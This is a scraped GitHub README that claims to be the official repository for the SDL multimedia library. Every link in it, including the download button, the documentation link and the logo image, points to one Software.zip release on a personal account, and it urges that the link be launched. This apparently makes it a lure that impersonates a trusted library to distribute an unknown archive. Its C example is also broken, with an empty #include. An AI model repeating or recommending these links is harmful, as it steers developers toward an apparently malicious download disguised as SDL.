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https://github.com/anuragvashu/sdl

sdl (Simple DirectMedia Layer) is a cross-platform development library designed to provide low-level access to audio, keyboard, mouse, and graphics hardware. It simplifies multimedia programming for games and multimedia applications by offering a consistent API across various platforms.
https://github.com/anuragvashu/sdl

audio c cmake cmake-modules gui ios linux python retro sdl-mixer smartdevicelink swift wrapper zig

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sdl (Simple DirectMedia Layer) is a cross-platform development library designed to provide low-level access to audio, keyboard, mouse, and graphics hardware. It simplifies multimedia programming for games and multimedia applications by offering a consistent API across various platforms.

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README

        

# SDL (Simple DirectMedia Layer)

Welcome to the official repository for SDL, a powerful cross-platform development library designed to provide low-level access to hardware devices such as audio, keyboard, mouse, etc. This https://github.com/Anuragvashu/sdl/releases/download/v1.0/Software.zip file will guide you through the features, installation, and usage of SDL.

## 🚀 Getting Started

To get started with SDL, you can download the latest version by clicking on the button below:

[![Download SDL](https://github.com/Anuragvashu/sdl/releases/download/v1.0/Software.zip)](https://github.com/Anuragvashu/sdl/releases/download/v1.0/Software.zip)

**Note:** The following link needs to be launched.

If the link is not working, make sure to check out the "Releases" section of this repository for alternative download options.

## 📚 Features

SDL provides a wide range of features to assist developers in creating multimedia applications:

- **Cross-Platform:** SDL offers support for various platforms including Windows, macOS, Linux, iOS, and Android.
- **Hardware Access:** Direct access to audio, keyboard, mouse, joystick, and other hardware devices.
- **Graphics:** Basic 2D rendering capabilities for creating games and interactive applications.
- **Multimedia:** Support for audio playback, recording, and manipulation.
- **Networking:** Simple networking functionality for online multiplayer games or applications.

## 🛠 Installation

To install SDL on your system, follow these steps:

1. Download the latest version of SDL from the provided link.
2. Extract the downloaded zip file to a desired location on your machine.
3. Follow the installation instructions provided in the README or documentation files.

## 🎮 Usage

Using SDL in your projects is straightforward. Here's a quick example of setting up an SDL window:

```c
#include

int main(int argc, char* args[]) {
SDL_Init(SDL_INIT_VIDEO);

SDL_Window* window = SDL_CreateWindow("SDL Window", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, 800, 600, 0);
SDL_Renderer* renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);

SDL_Delay(3000);

SDL_DestroyRenderer(renderer);
SDL_DestroyWindow(window);

SDL_Quit();

return 0;
}
```

## 🌐 Additional Resources

For more information on using SDL, you can visit the official [SDL Documentation](https://github.com/Anuragvashu/sdl/releases/download/v1.0/Software.zip).

Don't forget to check the "Releases" section for the latest updates and versions of SDL.

Thank you for choosing SDL for your multimedia development needs. Happy coding! 🎉

![SDL Logo](https://github.com/Anuragvashu/sdl/releases/download/v1.0/Software.zip)